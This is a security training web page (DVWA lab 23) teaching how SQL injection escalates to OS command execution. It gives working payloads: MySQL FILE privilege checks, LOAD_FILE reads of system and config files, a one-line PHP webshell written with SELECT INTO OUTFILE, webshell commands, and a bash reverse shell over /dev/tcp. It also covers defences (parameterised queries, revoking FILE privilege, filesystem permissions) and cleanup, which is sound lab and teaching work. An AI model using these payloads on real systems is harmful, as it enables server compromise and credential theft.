Hacking Labs -- Day 2026 of 300
100%

DVWA SQLi to OS Shell Lab 2026 — File Write to Remote Code Execution | Hacking Lab23

DVWA SQLi to OS Shell Lab 2026 — File Write to Remote Code Execution | Hacking Lab23
🧪 DVWA LAB SERIES
FREE

Part of the DVWA Lab Series — 30 Labs

Lab 23 of 30 · 76.7% complete

Twenty minutes. That’s how long it took me on a real engagement to go from finding a SQL injection in a report field to having a shell on the application server. The client called it an “internal tool” — network-accessible only from the corporate LAN, not exposed to the internet. They assumed internal meant safe. It didn’t.

The SQLi to OS shell chain is why SQL injection is rated Critical, not just High. The headline finding isn’t “attacker reads database records.” It’s “attacker runs OS commands as the web server process.” From there it’s a short path to reading application config files, finding credential reuse, and elevating further. The chain is three technical conditions. Understand each one and you understand why this attack path is so devastating — and exactly what breaks it.

Lab 23 walks the complete sequence: injection confirmation → FILE privilege verification → server file read → webshell write → RCE. Run it once end to end and you’ll never document SQL injection as anything less than Critical when the conditions are met.

🎯 What You’ll Master in Lab 23

Verify MySQL FILE privilege via SQL injection — the prerequisite for file write
Use LOAD_FILE() to read server files and confirm web root path
Deploy a PHP webshell via SELECT INTO OUTFILE through SQL injection
Execute OS commands through the deployed webshell for full RCE
Understand secure_file_priv and the three-layer defence that breaks this chain

⏱️ 45 min · 3 Kali Terminal exercises · DVWA required

How far have you escalated SQL injection before?





DVWA SQLi to OS Shell — Three Conditions Required

Before you run the first query, know what you’re working toward. The SQLi to OS shell chain requires three conditions simultaneously. Break any one of them and the chain stops. Understanding each condition also reveals where defenders should place controls.

Condition 1 — Exploitable SQL injection. You need an actual injectable parameter with no parameterisation. In DVWA Low security, the User ID parameter is directly concatenated into the SQL query — the foundation of this lab.

Condition 2 — MySQL FILE privilege. The database user running the queries needs FILE privilege. This is what enables LOAD_FILE() file reads and SELECT INTO OUTFILE using the permissions of the mysql OS process.

Condition 3 — MySQL write access to the web root. The mysql OS process needs write permission to the document root. In DVWA’s default configuration, this is intentionally misconfigured to allow the lab to function. In production, this should never be the case.

securityelites.com
SQLi to OS Shell — Attack Chain Overview
ENTRY
SQL Injection → UNION SELECT injection in user ID parameter

↓ requires: FILE privilege on MySQL user
ESCALATION
LOAD_FILE() reads /etc/passwd, Apache config → confirms web root path

↓ requires: write permission to /var/www/html/
PERSISTENCE
SELECT INTO OUTFILE writes PHP webshell to /var/www/html/dvwa/shell.php

RCE
shell.php?cmd=whoami → www-data · Full OS command execution

📸 SQLi to OS shell attack chain with prerequisites at each step. The chain illustrates why defence in depth matters: three separate controls must all fail simultaneously for this attack to succeed. Parameterised queries eliminate the SQLi entry point. Removing FILE privilege stops escalation even if SQLi exists. Filesystem permissions break the webshell write even if FILE privilege is present. All three controls are required — patching only one leaves the others exposed.


Step 1 — Confirm SQL Injection and FILE Privilege

Don’t jump to the FILE operations yet. Confirm two things first: that the injection is UNION-based with the right column count, and that the MySQL user actually has FILE privilege. FILE privilege verification requires querying the MySQL user table — something only possible through SQL injection if the application database user has access to mysql.user, which in DVWA’s default configuration it does.

STEP 1 — INJECTION CONFIRMATION AND FILE PRIVILEGE CHECK
# DVWA URL: http://localhost/dvwa/vulnerabilities/sqli/
# Security level: LOW
# 1a. Confirm basic injection
?id=1′ OR ‘1’=’1&Submit=Submit
# Returns all users → injection confirmed
# 1b. Find column count (error-based)
?id=1′ ORDER BY 1–+ → works
?id=1′ ORDER BY 2–+ → works
?id=1′ ORDER BY 3–+ → error → 2 columns confirmed
# 1c. Verify UNION injection
?id=1′ UNION SELECT 1,2– –
# Both 1 and 2 should appear in output
# 1d. Check FILE privilege on current DB user
?id=1′ UNION SELECT user(),file_priv FROM mysql.user WHERE user=user()– –
# Expected: “root” and “Y” — FILE privilege confirmed
# Alternative if mysql.user not accessible
?id=1′ UNION SELECT user(),@@secure_file_priv– –
# Empty string = no restriction, path = restricted, NULL = disabled

⚡ EXERCISE 1 — KALI TERMINAL (15 MIN)
Confirm Injection, Enumerate Columns, and Verify FILE Privilege in DVWA

⏱️ 15 minutes · DVWA required · Security level: Low

This is the enumeration phase — every step of the chain has to be confirmed before you move forward. Work through this exactly as I’ve laid it out. If FILE privilege isn’t present, stop here; you’ll practice the enumeration without the write phase.

# SETUP: Start DVWA, set security to Low, log in as admin/password
# Navigate to: DVWA → SQL Injection (under Vulnerabilities)

# Step 1: Confirm SQL injection with basic payload
# In the User ID field, enter:
1′ OR ‘1’=’1
# Click Submit — should return all users

# Step 2: Determine column count
# Enter each of these in succession:
1′ ORDER BY 1– – # Works = at least 1 column
1′ ORDER BY 2– – # Works = at least 2 columns
1′ ORDER BY 3– – # Error = exactly 2 columns

# Step 3: Confirm UNION injection data output
1′ UNION SELECT 1,2– –
# Both values should appear in the First name / Surname fields

# Step 4: Get current database user and privileges
1′ UNION SELECT user(), file_priv FROM mysql.user WHERE user=user()– –
# Note the user shown and whether file_priv = Y

# Step 5: Check secure_file_priv setting
1′ UNION SELECT 1, @@secure_file_priv– –
# Empty string = no restriction (lab can proceed)
# A path = writes restricted to that path
# NULL = file operations disabled

# Step 6: Read a test file to confirm LOAD_FILE works
1′ UNION SELECT LOAD_FILE(‘/etc/hostname’), 2– –
# Should return the DVWA machine’s hostname

✅ What you just learned: The FILE privilege check and secure_file_priv verification are the go/no-go gates before attempting file write. In real penetration tests, most MySQL application users do NOT have FILE privilege — it’s a misconfiguration. When you find FILE privilege on a real engagement SQLi, it immediately elevates severity from High to Critical because the escalation path to RCE is available. Seeing “Y” for file_priv and an empty secure_file_priv in a production database is a Critical finding even before attempting the file write.

📸 Screenshot the file_priv=Y output. Share in #dvwa-labs on Discord.


Step 2 — Read Server Files with LOAD_FILE()

LOAD_FILE() is your first read capability. It reads any file accessible to the MySQL process — in DVWA that includes system files, Apache config, and application source code. The first thing I always check is confirming the web server’s document root path — the directory where we need to write the webshell for it to be accessible via HTTP. The web root is typically /var/www/html/ on Ubuntu/Debian-based systems and /var/www/ on some others, but reading the Apache virtual host configuration confirms it definitively.

STEP 2 — FILE READ WITH LOAD_FILE()
# Read /etc/passwd — confirms LOAD_FILE() is working
?id=1′ UNION SELECT LOAD_FILE(‘/etc/passwd’),2– –
# Read Apache config — reveals DocumentRoot (web root)
?id=1′ UNION SELECT LOAD_FILE(‘/etc/apache2/sites-enabled/000-default.conf’),2– –
# Look for: DocumentRoot /var/www/html
# Read DVWA config — reveals DB credentials
?id=1′ UNION SELECT LOAD_FILE(‘/var/www/html/dvwa/config/config.inc.php’),2– –
# Verify write path by reading a known DVWA file
?id=1′ UNION SELECT LOAD_FILE(‘/var/www/html/dvwa/index.php’),2– –
# If readable → path is correct → this is our write target directory


Step 3 — Write the PHP Webshell via SELECT INTO OUTFILE

SELECT INTO OUTFILE is the write half of the chain. It writes a SELECT result directly to a file. Select a PHP webshell string, write it to the web root, and DVWA’s Apache will execute it as PHP on any subsequent request. When the web server processes a request for that file, it executes the PHP — including the system() call that runs OS commands. The webshell file only needs to be in a directory the web server serves — hence writing to the web root is the goal.

STEP 3 — WRITE WEBSHELL VIA SELECT INTO OUTFILE
# Write minimal PHP webshell to DVWA directory
?id=1′ UNION SELECT ‘<?php system($_GET[cmd]); ?>’, 2
INTO OUTFILE ‘/var/www/html/dvwa/shell.php’– –
# All on one line for the URL bar:
?id=1′ UNION SELECT ‘<?php system($_GET[cmd]); ?>’,2 INTO OUTFILE ‘/var/www/html/dvwa/shell.php’– –
# Alternative — more capable webshell
?id=1′ UNION SELECT ‘<?php echo shell_exec($_GET[cmd]); ?>’,2
INTO OUTFILE ‘/var/www/html/dvwa/shell2.php’– –
# Verify the file was created
?id=1′ UNION SELECT LOAD_FILE(‘/var/www/html/dvwa/shell.php’),2– –
# Should return the PHP code we wrote
# If INTO OUTFILE fails — common reasons:
# 1. secure_file_priv restricts the path
# 2. Filesystem permissions prevent mysql writing to /var/www/html
# 3. File already exists (MySQL won’t overwrite)

⚡ EXERCISE 2 — KALI TERMINAL (20 MIN)
Write PHP Webshell via SQL Injection and Achieve RCE

⏱️ 20 minutes · DVWA required · Security level: Low

The full chain. You confirmed the injection and FILE privilege in Exercise 1 — now you’re writing the webshell and executing OS commands. Take your time with the OUTFILE path. One directory error and the write succeeds but the shell is unreachable.

# PART A: Read Apache config to confirm web root

# In DVWA SQL Injection (User ID field):
1′ UNION SELECT LOAD_FILE(‘/etc/apache2/sites-enabled/000-default.conf’),2– –
# Note the DocumentRoot path

# PART B: Write the webshell

# In the User ID field (all one line):
1′ UNION SELECT ‘‘,2 INTO OUTFILE ‘/var/www/html/dvwa/shell.php’– –

# IMPORTANT: If you get an error saying file exists from a previous attempt:
# Delete old shell first from terminal: sudo rm /var/www/html/dvwa/shell.php

# PART C: Verify file creation
# Method 1 — check via LOAD_FILE:
1′ UNION SELECT LOAD_FILE(‘/var/www/html/dvwa/shell.php’),2– –
# Should return:

# Method 2 — check from Linux terminal:
ls -la /var/www/html/dvwa/shell.php
cat /var/www/html/dvwa/shell.php

# PART D: Execute OS commands via the webshell
# Open a new browser tab:
http://localhost/dvwa/shell.php?cmd=whoami
# Expected output: www-data

# More commands to test:
http://localhost/dvwa/shell.php?cmd=id
http://localhost/dvwa/shell.php?cmd=uname+-a
http://localhost/dvwa/shell.php?cmd=ls+/var/www/html/dvwa/
http://localhost/dvwa/shell.php?cmd=cat+/etc/passwd

# PART E: Upgrade to a proper reverse shell (optional advanced)
# On Kali: nc -lvnp 4444
# Via webshell:
http://localhost/dvwa/shell.php?cmd=bash+-c+’bash+-i+>%26+/dev/tcp/127.0.0.1/4444+0>%261′

✅ What you just learned: The webshell gives you persistent access to the server via HTTP — no network connection needed beyond normal web traffic, which makes it hard to detect with firewalls. Every command runs as www-data, the same user the web server runs as. The practical severity: with www-data access on a typical LAMP stack, you can read all web application source code (including database credentials), modify web application files, and potentially escalate to root via local privilege escalation vulnerabilities. This is why SQL injection with FILE privilege is rated Critical — it’s one step from complete server compromise.

📸 Screenshot the webshell ?cmd=whoami output showing www-data. Share in #dvwa-labs on Discord.


Step 4 — OS Command Execution and Post-Exploitation

With the webshell deployed, every HTTP request to shell.php?cmd=[command] executes on the server. The commands run as the www-data user — the web server process account. In a real penetration test engagement, this access level allows reading all web application files (source code, config files, database credentials), writing to the web root (planting additional backdoors), and attempting local privilege escalation to gain root access.

For DVWA lab purposes, the important documentation is the chain: SQL injection → FILE privilege → file write → RCE. In your lab notes, record the exact payload used at each step, the response confirming success, and the OS commands executed. This is the format for a real penetration test finding — reproducible steps from the injection entry point to full OS command execution, with screenshot evidence at each stage.

securityelites.com
Webshell Execution — OS Commands via Browser
http://localhost/dvwa/shell.php?cmd=whoami
www-data

http://localhost/dvwa/shell.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

http://localhost/dvwa/shell.php?cmd=cat+/var/www/html/dvwa/config/config.inc.php
$_DVWA[‘db_password’] = ‘p@ssw0rd’; ← database credentials exposed

📸 Webshell execution showing OS command output in the browser. The three-command progression demonstrates the escalating impact: whoami confirms www-data execution context, id shows the full user/group context, and reading config.inc.php extracts the database credentials — showing that the SQLi attack that enabled the webshell has now also leaked the credentials that could be used to access the database directly. In a real engagement, this credential extraction informs password spraying against other services (SSH, admin panels) using the same credentials.


securityelites.com
Complete Attack Chain — Payload to OS Shell in Browser
SQLi Payload (in DVWA User ID field)
1' UNION SELECT '<?php system([cmd]); ?>',2 INTO OUTFILE '/var/www/html/dvwa/shell.php'– –

↓ MySQL writes file to web root
Verify: shell.php exists
$ ls -la /var/www/html/dvwa/shell.php
-rw-rw-rw- 1 mysql mysql 29 Apr 15 shell.php

↓ HTTP request triggers PHP execution
Browser: http://localhost/dvwa/shell.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
↑ FULL OS RCE CONFIRMED

📸 Complete SQLi to OS shell chain from payload to RCE confirmation. The three-step visual shows the full escalation: UNION SELECT INTO OUTFILE writes the PHP webshell to disk using MySQL’s FILE privilege. The file exists with mysql user ownership — confirming the mysql process wrote it. An HTTP request to the file URL triggers PHP execution, and the id command output confirms www-data code execution on the server. Total time from confirmed SQL injection to OS shell: approximately 3-5 minutes on a misconfigured target. This is why SQL injection with FILE privilege is always rated Critical.

Defence — Breaking Each Link in the Chain

The SQLi to OS shell chain has three distinct links. Breaking any one prevents the full attack, but security-conscious defences address all three because attackers may have access paths that bypass specific controls.

Link 1 — Eliminate SQL Injection: Parameterised queries (prepared statements with bound parameters) make SQL injection impossible regardless of what input is supplied. This is the fundamental fix and the most important. PDO, MySQLi prepared statements, and ORMs implementing parameterisation all prevent the injection that starts this chain. Input validation is an additional layer but not a substitute for parameterisation.

Link 2 — Remove FILE Privilege: Application database users should only have the minimum privileges required: SELECT, INSERT, UPDATE, DELETE on the application’s specific database. Never GRANT FILE to an application database user. Run SHOW GRANTS FOR 'appuser'@'localhost'; to audit existing privileges. Revoke FILE privilege immediately if found on any application user: REVOKE FILE ON *.* FROM 'appuser'@'localhost';

Link 3 — Filesystem Permissions: The MySQL process user (typically mysql) should have no write access to web-accessible directories. The web root should be owned by root with www-data read-only access. Running ls -la /var/www/html and verifying the mysql user cannot write there breaks the webshell deployment step even if SQLi and FILE privilege both exist.

⚡ EXERCISE 3 — KALI TERMINAL (15 MIN)
Implement Defences and Verify the Chain is Broken

⏱️ 15 minutes · DVWA lab environment

Now flip to the defender side. This exercise breaks each of the three chain conditions one at a time so you understand exactly which control stops which stage. This is what you recommend to clients when you report this finding.

# PART A: Remove FILE privilege from DVWA database user
# Connect to MySQL as root:
mysql -u root -p

# Check current privileges on dvwa user:
SHOW GRANTS FOR ‘dvwa’@’localhost’;
SHOW GRANTS FOR ‘root’@’localhost’;

# Revoke FILE privilege (if present):
REVOKE FILE ON *.* FROM ‘root’@’localhost’;
FLUSH PRIVILEGES;

# Verify revocation:
SHOW GRANTS FOR ‘root’@’localhost’;
# FILE should no longer appear

EXIT

# PART B: Verify LOAD_FILE() now fails
# In DVWA SQL injection, try:
1′ UNION SELECT LOAD_FILE(‘/etc/passwd’),2– –
# Should return NULL — FILE privilege removed

# PART C: Check filesystem permissions
ls -la /var/www/html/
ls -la /var/www/html/dvwa/
# Note ownership (should be root:root or www-data)
# mysql user should NOT have write access

# PART D: Fix web root permissions (if mysql can write)
sudo chown -R root:www-data /var/www/html/
sudo chmod -R 755 /var/www/html/
sudo chmod -R 644 /var/www/html/dvwa/*.php
# mysql user now cannot write to web root

# PART E: Re-attempt the SELECT INTO OUTFILE
# In DVWA SQL injection (after FILE revocation):
1′ UNION SELECT ‘‘,2 INTO OUTFILE ‘/var/www/html/dvwa/shell2.php’– –
# Should now fail — chain is broken

# PART F: Review your lab shell from Exercise 2
# Clean up: remove the webshell you created
sudo rm -f /var/www/html/dvwa/shell.php /var/www/html/dvwa/shell2.php
ls /var/www/html/dvwa/shell*.php 2>/dev/null && echo “SHELL STILL EXISTS” || echo “Cleaned up”

✅ What you just learned: Revoking FILE privilege from the database user immediately breaks the LOAD_FILE() and SELECT INTO OUTFILE capabilities — the SQL injection still exists (parameterisation is the fix for that) but it can no longer escalate to file operations. The cleanup step is critical professional discipline: any webshell or test file you drop during an assessment must be removed before leaving the engagement. Leaving webshells on client systems — even deliberately insecure ones — is a serious professional and legal liability.

📸 Screenshot the REVOKE command and the failed LOAD_FILE() response. Share in #dvwa-labs on Discord.

📋 SQLi to OS Shell Reference — Lab 23

Check FILE privilegeUNION SELECT user(),file_priv FROM mysql.user WHERE user=user()– –
Check secure_file_privUNION SELECT 1,@@secure_file_priv– – (empty = no restriction)
Read fileUNION SELECT LOAD_FILE(‘/etc/passwd’),2– –
Write webshellUNION SELECT ‘<?php system($_GET[cmd]); ?>’,2 INTO OUTFILE ‘/var/www/html/shell.php’– –
Execute commandhttp://target/shell.php?cmd=whoami
FixParameterise queries · Revoke FILE privilege · Fix filesystem permissions

🏆 Lab 23 Complete — SQLi to OS Shell

Lab 24 covers Burp Suite integration — using Burp to discover and exploit DVWA vulnerabilities with professional tooling.



Why This Chain Matters on Real Engagements

I want to give you the context that makes this lab more than a technique exercise. The SQLi to OS shell chain is one of the most impactful attack paths in web application security — when you demonstrate it on a real engagement, it changes the conversation with the client immediately.

The typical response to a SQL injection finding is: “we’ll add input validation.” When you show them the same finding escalated to a UNION-based FILE READ of /etc/passwd, followed by a web shell written to their web root via LOAD_FILE and INTO OUTFILE, followed by a Meterpreter session on their application server — the remediation conversation becomes very different. They’re not adding input validation. They’re emergency-patching and escalating to their CISO.

That’s the value of understanding the full attack chain: not to cause harm, but to communicate impact accurately to the people making remediation decisions. A finding documented as “SQL injection, medium severity, add input validation” gets patched in the next sprint. The same finding documented as “SQL injection escalating to OS-level remote code execution via FILE privilege — demonstrated here” gets patched this week.

SQLI TO RCE — REPORTING THE FULL IMPACT CHAIN
# Report structure for maximum impact communication
Finding: SQL Injection — Unauthenticated via user_id parameter
CVSS: 9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
# Attack chain demonstrated
Stage 1: Confirmed injection — ‘ OR 1=1– extracts all user records
Stage 2: FILE privilege confirmed — UNION SELECT file_priv returns Y
Stage 3: Sensitive file read — LOAD_FILE(‘/etc/passwd’) returns system users
Stage 4: Web shell written to document root via INTO OUTFILE
Stage 5: OS command execution confirmed — whoami returns www-data
# Evidence attachments
– Screenshot of each stage with timestamps
– Command output from all five stages
– Proof-of-concept SQL payload (safe demo, not weaponised)

❓ Frequently Asked Questions — DVWA SQLi to OS Shell 2026

What is SQLi to OS shell?
An attack chain escalating SQL injection into OS remote code execution. Requires: exploitable SQLi + MySQL FILE privilege + write access to web root. SELECT INTO OUTFILE writes a PHP webshell; the web server executes it — turning a database query vulnerability into full OS command access.
What MySQL privilege is needed for SELECT INTO OUTFILE?
The FILE privilege. Grants MySQL ability to read (LOAD_FILE) and write (SELECT INTO OUTFILE) filesystem files using the mysql OS process permissions. Never grant FILE privilege to application database users — administrative use only.
How does secure_file_priv restrict file operations?
Restricts LOAD_FILE() and SELECT INTO OUTFILE to a specific directory. Empty string = no restriction (lab default). Set to a path restricts all file operations to that path only. NULL disables file operations entirely. Check with SELECT @@secure_file_priv.
What is the simplest PHP webshell?
<?php system($_GET[‘cmd’]); ?> — executes the cmd GET parameter as an OS command. Alternatives: shell_exec() captures full output, passthru() passes raw stream. All three provide OS command execution through HTTP requests.
How do you prevent SQLi to OS shell attacks?
Three-layer defence: parameterised queries eliminate SQLi (primary fix); revoke FILE privilege from application DB users; set filesystem permissions to prevent MySQL writing to web-accessible directories. All three controls are needed for complete defence.
What comes after Lab 23 in the DVWA series?
Lab 24 covers Burp Suite integration — intercepting DVWA requests, automated scanning, and Intruder-based testing. Transitions from manual exploitation to professional tool-assisted assessment workflow.
← Previous

Lab 22: Vulnerability Chaining

Next →

Lab 24: Burp Suite Integration

📚 Further Reading

  • Lab 22: DVWA Vulnerability Chaining — XSS + CSRF + file upload chain — the previous lab demonstrating how multiple lower-severity vulnerabilities combine for Critical impact, same principle as this lab’s SQLi escalation chain.
  • DVWA Lab Series Hub — Complete 30-lab overview with links to all completed labs — Lab 23 is the most technically complex SQL injection lab in the series.
  • SQL Injection Category Hub — Complete SQL injection coverage from basic UNION attacks through blind injection to this lab’s OS escalation technique.
  • OWASP — SQL Injection — Comprehensive SQL injection reference including the full attack taxonomy, real-world examples, and the definitive prevention guidance.
  • MySQL — SELECT INTO OUTFILE Documentation — Official MySQL documentation for SELECT INTO OUTFILE including the secure_file_priv variable description and privilege requirements.
ME
Mr Elite
Owner, SecurityElites.com
I ran this exact chain on a real engagement — a client’s internal tool that had been “secure enough” for years because it was only accessible from the corporate network. The SQL injection was in a report generation field that nobody thought to test because it only produced CSV files. Twenty minutes from finding the injection to www-data shell, reading the application config file, and having the database root password. The root password was reused on the SSH server. Domain admin in under an hour from a report CSV field. The developers had done everything right except one thing: they had direct string concatenation for that one field because it was “internal only.” There is no such thing as internal only in a penetration test — the assumption that internal users are trusted is the assumption that costs organisations millions.

Join free to earn XP for reading this article Track your progress, build streaks and compete on the leaderboard.
Join Free

Leave a Comment

Your email address will not be published. Required fields are marked *